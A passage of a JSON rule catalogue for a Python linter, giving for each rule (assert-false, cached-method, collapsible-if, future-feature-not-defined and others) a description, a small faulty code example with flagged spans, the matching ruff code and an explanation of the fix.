        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          7,
          11,
          18,
          22,
          25,
          30
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 15
          },
          {
            "column": 1,
            "length": 23,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "assert-false",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "B011",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B011/"
        }
      ],
      "why": "`assert` statements are removed when Python runs with `-O`, so an `assert False` that is meant to stop the program does nothing there and execution goes on past the line.\n\nTo fix, write `raise AssertionError(...)`, which always runs."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `assert` whose test is a tuple, usually the condition and the message written inside the parentheses.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = 1\nassert (x, \"message\")\nassert x, \"message\"\nassert (x)\nassert ()\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "assert-tuple",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F631",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F631/"
        }
      ],
      "why": "A tuple with elements is always true, so `assert (x > 0, \"x must be positive\")` never fails, and the check looks like it is there. Python warns about it when the file is compiled.\n\nTo fix, write the message after a comma outside the parentheses: `assert x > 0, \"x must be positive\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `raise` with no exception in code that no `except` clause of its function contains.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "raise NotImplemented\nraise NotImplemented(\"a\")\nraise NotImplementedError\nraise\n",
        "language": "python",
        "other_lines": [
          1,
          2
        ],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "bare-raise-outside-handler",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PLE0704",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PLE0704/"
        }
      ],
      "why": "A bare `raise` re-raises the exception being handled. With no `except` around it, it fails with `RuntimeError: No active exception to reraise`, unless the function is only ever called from a handler, which nothing in the file shows.\n\nTo fix, raise a named exception, or move the `raise` into the `except` clause."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `break` that no loop of its function or class contains.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "break-outside-loop",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F701",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F701/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: 'break' outside loop`, so no code in it runs.\n\nTo fix, remove the `break`, or put the statement in the loop it is meant for. In a function, `return` leaves it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a method decorated with `functools.lru_cache` or `functools.cache`. Static methods are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          30,
          33,
          34,
          37,
          39,
          41,
          43,
          44
        ],
        "spans": [
          {
            "column": 5,
            "length": 16,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "cached-method",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B019",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B019/"
        }
      ],
      "why": "The cache belongs to the function and is shared by all instances. It stores `self` as part of each key, so an instance that called the method stays alive until its entry is evicted, and with no size limit (`functools.cache`, `maxsize=None`) for as long as the cache does.\n\nTo fix, keep the cache per instance (create it in `__init__`), use `functools.cached_property`, or move the work to a function that takes only the values it needs."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `if` whose only statement is another `if`, when neither has an `elif` or `else`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          40,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "collapsible-if",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM102",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM102/"
        }
      ],
      "why": "The two tests are one condition, `if a and b:`. The nesting adds an indent level and makes the reader check that nothing else happens between the tests.\n\nTo fix, join the tests with `and`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `continue` that no loop of its function or class contains.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          44,
          46
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "continue-outside-loop",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F702",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F702/"
        }
      ],
      "why": "Python rejects the file with `SyntaxError: 'continue' not properly in loop`, so no code in it runs.\n\nTo fix, remove the `continue`, or put the statement in the loop it is meant for."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a method whose `self` parameter is annotated with a type variable that the return annotation uses too, as in `def f(self: T) -> T`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 17,
            "length": 1,
            "line": 44
          }
        ]
      },
      "fix": null,
      "id": "custom-type-var-return",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PYI019",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/PYI019/"
        }
      ],
      "why": "`typing.Self` (Python 3.11) states \"the type of this instance\" without declaring a type variable, and it is the form that type checkers and readers know. The type variable has to be declared, bound and imported for the same meaning.\n\nTo fix, drop the annotation of `self` and return `Self`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `datetime.timezone.utc`, also written `timezone.utc` after an import, when the `target_version` has `datetime.UTC` (3.11 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          11,
          13,
          17,
          21,
          26,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 5,
            "length": 21,
            "line": 33
          }
        ]
      },
      "fix": null,
      "id": "datetime-utc-alias",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP017",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP017/"
        }
      ],
      "why": "`datetime.UTC` is the shorter name of the same object, added in Python 3.11. One spelling of UTC in a code base is easier to search for.\n\nTo fix, write `datetime.UTC`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a bare `except:` that is followed by another handler of the same `try`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "A = B = 1\ntry:\n    pass\nexcept:\n    pass\nexcept A:\n    pass\ntry:\n    pass\nexcept (A, B):\n    pass\ntry:\n    pass\nexcept exit.Exception:\n    B = 2\nexcept (A, Exception):\n    B = 2\n",
        "language": "python",
        "other_lines": [
          16
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "default-except-not-last",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F707",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F707/"
        }
      ],
      "why": "A bare `except:` catches everything, so the handlers after it can never run. Python rejects the file with `SyntaxError: default 'except:' must be last`.\n\nTo fix, put the bare `except:` last, or better, name the exceptions it should catch."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `Generator[X, None, None]` and `AsyncGenerator[X, None]` when the `target_version` gives the last arguments a default (3.13 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          8,
          10,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 14,
            "length": 15,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "default-type-arguments",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP043",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP043/"
        }
      ],
      "why": "From Python 3.13 the send and return types of a generator default to `None`, so `Generator[int]` means the same as `Generator[int, None, None]` and `AsyncGenerator[int]` the same as `AsyncGenerator[int, None]`. The extra arguments are noise.\n\nTo fix, remove the trailing `None` arguments."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an import of a name from the wrong module for the `target_version`: a name of `typing_extensions` that `typing`, `collections.abc` or `warnings` has in that version, an alias in `typing` of a `collections.abc` class, or `List`, `Dict`, `Set`, `FrozenSet`, `Tuple` or `Type`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          8,
          11,
          13,
          17,
          21,
          26,
          33,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 1,
            "length": 23,
            "line": 7
          },
          {
            "column": 1,
            "length": 28,
            "line": 10
          },
          {
            "column": 1,
            "length": 34,
            "line": 35
          }
        ]
      },
      "fix": null,
      "id": "deprecated-import",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP035",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP035/"
        }
      ],
      "why": "The backport module exists for old versions. Once the standard library has the name, importing it from there removes a dependency, and the old aliases of `typing` are deprecated in favour of the builtin generics and `collections.abc`.\n\nTo fix, import the name from the module that the message names."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a subscript of `typing.List`, `Dict`, `Set`, `FrozenSet`, `Tuple` or `Type` when the `target_version` makes the builtin generic (3.9 and later).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "from typing import Union\nx: Union[int, str]\n\nfrom typing import Optional\nx: Optional[int]\n\nfrom typing import List\nx: List[int]\n\nfrom typing import Generator\nx: Generator[int, None, None]\n\ndef f(x: \"int\"):\n    pass\n\nfrom typing import TypeAlias\nX: TypeAlias = int\n\nfrom typing import Generic, TypeVar\nT = TypeVar(\"T\")\nclass A(Generic[T]):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\ndef f(x: T) -> T:\n    return x\n\ndef g() -> T:\n    pass\n\nimport datetime\nx = datetime.timezone.utc\n\nfrom typing_extensions import Self\n\nimport sys\nif sys.version_info >= (3, 8):\n    pass\n\nfrom typing import TypeVar\nT = TypeVar(\"T\")\nclass A:\n    def f(self: T) -> T:\n        return self\n\nfrom typing import Any\nclass A:\n    def __eq__(self, other: Any) -> bool:\n        return True\n\nfrom typing import TypeVar\nT = TypeVar(\"T\", covariant=True)\n",
        "language": "python",
        "other_lines": [
          2,
          5,
          7,
          10,
          11,
          13,
          17,
          21,
          26,
          33,
          35,
          38,
          43,
          44,
          48,
          49,
          53
        ],
        "spans": [
          {
            "column": 4,
            "length": 4,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "deprecated-typing-alias",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP006",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP006/"
        }
      ],
      "why": "Since Python 3.9 `list[int]`, `dict[str, int]` and the other builtins are generic, and the `typing` aliases are deprecated. They also need an import that the builtin does not.\n\nTo fix, write the builtin, `list[int]` for `List[int]`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `not not x`.",
      "example": {
        "config": null,
        "fixed": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = a != b\nx = a == b\nx = not a < b\nx = not a == b == c\nx = a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "input": "a = b = c = d = k = 1\nx = k in d.keys()\nx = k not in d.keys()\nx = k in d.keys(1)\nx = [k for k in d.keys()]\nfor k in d.keys():\n    pass\nx = not a == b\nx = not a != b\nx = not a < b\nx = not a == b == c\nx = not not a\nx = True if a else False\nx = False if a else True\nx = 1 if a else 1\nx = b if not a else a\nx = b if a else a\n",
        "language": "python",
        "other_lines": [
          2,
          3,
          5,
          6,
          8,
          9,
          13,
          14,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 12
          }
        ]
      },
      "fix": "unsafe",
      "id": "double-negation",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "SIM208",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/SIM208/"
        }
      ],
      "why": "A double `not` turns a value into a bool, but the reader has to unwind two negations to see that. `bool(x)` says it, and in a condition the `not not` can be dropped.\n\nTo fix, write `bool(x)`, or `x` where only the truth is needed."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `return None` in a function whose other returns, if any, return nothing or `None`. A function that is a generator, one whose only statement is `return None`, a property and a function annotated with anything but `None` are left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "try:\n    pass\nexcept Exception:\n    pass\n\nif a:\n    if b:\n        pass\n\ntry:\n    pass\nexcept Exception:\n    pass\n\nbreakpoint()\n\ndef f(x):\n    if x:\n        return True\n    return False\n\nif a:\n    x = 1\nelif b:\n    x = 1\n\nf = open(\"a\")\n\nwith a:\n    with b:\n        pass\n\nraise Exception(\"x\")\n\nif not isinstance(x, int):\n    raise ValueError(\"x\")\n\ndef f(x):\n    if x:\n        return None\n    print(x)\n\nx = 1\nx\n\ntry:\n    pass\nexcept ValueError as e:\n    raise e\n\ndef f():\n    raise\n\nexec(\"x = 1\")\n\nhasattr(x, \"__call__\")\n",
        "language": "python",
        "other_lines": [
          3,
          6,
          7,
          12,
          15,
          18,
          22,
          24,
          27,
          29,
          30,
          33,
          35,
          36,
          38,
          44,
          49,
          51,
          52,
          54,
          56
        ],
        "spans": [
          {
            "column": 9,
            "length": 11,
            "line": 40
          }
        ]
      },
      "fix": null,
      "id": "explicit-return-none",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "RET501",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/RET501/"
        }
      ],
      "why": "A function without a value returns `None` anyway, so the word adds nothing. The explicit form is needed where another `return` has a value, to tell the reader that `None` is meant, and that case is not reported.\n\nTo fix, write `return`, or remove it at the end of the function."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `\"...\".format(...)` call on a string literal whose fields all name an argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "def f():\n    a, b = g()\n    return a\n\nclass A:\n    x = []\n\nimport os as os\n\ndef f(a):\n    with g() as a:\n        pass\n\nx = [\"a\" \"b\", \"c\"]\n\n__all__ = [\"b\", \"a\"]\n\nclass A:\n    __slots__ = (\"b\", \"a\")\n\nimport sys\nimport os\n\nimport functools\nclass A:\n    @functools.cache\n    def f(self):\n        pass\n\ndef f(x=list()):\n    pass\n\nimport subprocess\nsubprocess.run([\"ls\"])\n\na = b = \"x\"\nx = \", \".join([a, b])\n\nx = \"%s\" % y\n\nx = \"{}\".format(y)\n\nimport re\nx = re.compile(\"a\", re.I)\n",
        "language": "python",
        "other_lines": [
          2,
          6,
          8,
          10,
          11,
          14,
          16,
          18,
          19,
          21,
          22,
          25,
          26,
          30,
          33,
          34,
          37,
          39,
          43,
          44
        ],
        "spans": [
          {
            "column": 5,
            "length": 14,
            "line": 41
          }
        ]
      },
      "fix": null,
      "id": "f-string",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "UP032",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/UP032/"
        }
      ],
      "why": "An f-string puts the expression where it is shown, so the reader does not look from the field to the argument list and count positions. It is also the faster form.\n\nTo fix, write an f-string."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an f-string that has no replacement field in any of its parts.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "x = b = 1\nf\"text\"\nf\"{x}\"\nf\"a\" f\"{b}\"\n\"plain\"\nf\"{{}}\"\n",
        "language": "python",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 2
          },
          {
            "column": 1,
            "length": 7,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "f-string-missing-placeholders",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F541",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F541/"
        }
      ],
      "why": "The `f` prefix does nothing without a `{}`, and it suggests that a value was meant to be put in. It is often a placeholder that was lost in an edit.\n\nTo fix, remove the `f`, or add the field."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a quoted annotation whose text is not an expression.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "__all__ = [\"present\", \"missing\"]\npresent = 1\nprint(undefined, present, len)\n\n\ndef reads_before_assignment():\n    print(present)\n    present = 2\n\n\ndef handled():\n    try:\n        name_error_is_handled\n    except NameError:\n        pass\n    del present\n    del not_bound\n\n\ndef annotations(a: \"Missing\", b: \"bad syntax here\"):\n    x: int\n    print(x)\n\n\nclass K:\n    attr = 1\n    print(attr, __qualname__)\n\n    def method(self):\n        return attr\n",
        "language": "python",
        "other_lines": [
          1,
          3,
          7,
          8,
          13,
          16,
          17,
          22,
          30
        ],
        "spans": [
          {
            "column": 34,
            "length": 17,
            "line": 20
          }
        ]
      },
      "fix": null,
      "id": "forward-annotation-syntax-error",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "F722",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F722/"
        }
      ],
      "why": "Type checkers and `typing.get_type_hints` parse the string as an expression. A string that is not one fails there, though Python itself never looks at it when the code runs, so the mistake hides until a tool evaluates the annotation.\n\nTo fix, correct the text of the annotation."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a call in the default value of a parameter. Calls in a lambda, and calls of immutable builtins such as `tuple`, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import collections\nfrom typing import Sequence\n\nx = a = b = 1\n\n\ndef f(a=[], b={}, c=set(), d=list(), e=collections.deque(), g=[x for x in a]):\n    pass\n\n\ndef immutable(a: Sequence[int] = [], b: tuple = (), c=(), d=frozenset(), e=bytearray()):\n    pass\n\n\nassert False\nassert False, \"message\"\nassert 0\ngetattr(x, \"name\")\ngetattr(x, \"__private\")\ngetattr(x, \"class\")\ngetattr(x, \"name\", None)\nsetattr(x, \"name\", 1)\ny = setattr(x, \"name\", 1)\nsetattr(x, \"class\", 1)\nzip(a, b)\nzip(a)\nzip(a, b, strict=True)\ntry:\n    pass\nexcept (ValueError,):\n    pass\nexcept (ValueError, TypeError):\n    pass\n",
        "language": "python",
        "other_lines": [
          15,
          16,
          18,
          22,
          25,
          30
        ],
        "spans": [
          {
            "column": 21,
            "length": 5,
            "line": 7
          },
          {
            "column": 30,
            "length": 6,
            "line": 7
          },
          {
            "column": 40,
            "length": 19,
            "line": 7
          },
          {
            "column": 76,
            "length": 11,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "function-call-in-default",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "B008",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B008/"
        }
      ],
      "why": "A default is evaluated once, when the function is defined, and every call shares the value. `def f(when=datetime.now())` keeps the time of the import for ever, and a default that builds an object shares that object between calls.\n\nTo fix, default to `None` and make the value in the body."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a name imported from `__future__` that the module does not define.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "\"\"\"Docstring: not code for E402.\"\"\"\nimport os\n__version__ = \"1\"\nx = 1\nimport sys\n\nbreak\ncontinue\nyield 1\nawait x\n\n\ndef f():\n    class A:\n        yield 1\n\n    try:\n        pass\n    except:\n        pass\n    except ValueError:\n        pass\n    print >> sys.stderr, \"x\"\n\n\ndef g(l: \"int\", O=1, *I):\n    l = 1\n    if x: pass\n    a = 1; b = 2;\n    return {\"k\": 1, \"k\": 2, x: 1, x: 2}\n\n\nclass I:\n    pass\n\n\ndef O():\n    pass\n\n\nfrom __future__ import division\n\n\nfrom __future__ import not_a_feature\n\n*a, *b = range(3)\n",
        "language": "python",
        "other_lines": [
          5,
          7,
          8,
          9,
          10,
          15,
          19,
          23,
          26,
          27,
          28,
          29,
          30,
          33,
          37,
          41,
          46
        ],
        "spans": [
          {
            "column": 24,
            "length": 13,
            "line": 44
          }
        ]
      },
      "fix": null,
      "id": "future-feature-not-defined",
      "languages": [
        "python"
      ],
      "options": [],
      "presets": [
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "F407",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/F407/"
        }
      ],
